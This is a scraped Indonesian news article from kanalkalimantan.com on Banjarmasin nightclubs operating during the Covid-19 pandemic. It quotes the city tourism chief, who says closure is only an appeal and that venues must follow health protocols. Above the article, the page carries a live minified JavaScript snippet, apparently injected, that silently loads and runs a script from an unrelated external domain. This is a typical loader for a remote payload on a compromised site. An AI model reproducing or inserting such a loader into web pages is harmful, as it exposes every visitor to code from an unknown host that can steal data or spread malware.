(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kendati masih masa pandemi Covid-19, beberapa tempat hiburan malam (THM) di kota Banjarmasin membuka operasional. Ini terbukti dengan razia aparat Satpol PP Kota Banjarmasin mendapati ada pengunjung THM yang tidak mematuhi protokol kesehatan.
Lantas, apakah diperbolehkan THM beroperasi kendati kasus Covid-19 di Kota Banjarmasin belum menunjukkan adanya penurunan? Ditemui di kantor, Rabu (15/7/2020) pagi, Kepala Dinas Kebudayaan dan Pariwisata (Disbudpar) Kota Banjarmasin Ekhsan Al Haque mengatakan, dari perspektif jajarannya, sejauh ini masih sebatas mengimbau pengelola THM untuk tidak beroperasi terlebih dahulu.
Baca juga: Pub Disulap Diskotik? Pengelola Ngaku Mainkan Musik Progresif
“Kita mengimbau kepada pelaku usaha (THM), kalau bisa untuk tidak buka dulu. Kalaupun (harus) buka, maka harus menerapkan protokol kesehatan,” kata Ekhsan.
Ia menambahkan, beberapa waktu lalu pihaknya memanggil sejumlah pengelola THM. Di mana, Disbudpar Kota Banjarmasin mengimbau kepada pengelola THM untuk tidak mengoperasikan THM terlebih dahulu.
“Surat edaran kita itu belum pernah dicabut, ya. Artinya, (hanya) bersifat imbauan. Berbeda ketika saat PSBB (pembatasan sosial berskala besar) kemarin memang sudah diwajibkan untuk tidak buka,” kata Ekhsan.
THM yang tidak boleh beroperasi pun, saat ini baru sebatas diskotik. Sedangkan untuk pub maupun karaoke tidak diatur dalam kesepakatan dengan pengelola THM beberapa waktu lalu.
Kadisbudpar Kota Banjarmasin Ekhsan Al Haque. foto: fikri
Kendati begitu, Ekhsan menyebutkan bahwa pengelola THM diharuskan untuk menaati protokol kesehatan. Seperti menyediakan tempat cuci tangan, menjaga jarak antar pengunjung THM dan menyemprotkan disinfektan di dalam ruang THM.
Di samping itu, Ekhsan menambahkan bahwa apa yang dilakukan oleh Satpol PP Kota Banjarmasin dengan melakukan razia di dua THM berbeda di Kota Banjarmasin, hanya untuk melihat seberapa jauh penerapan protokol kesehatan.
“Kalau masih ada celah-celahnya, kita minta kepada para pengelola untuk lebih selektif. Artinya, kalau dulu berkerumun maka sekarang harus jaga jarak,” lugas Ekhsan. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
This website uses cookies.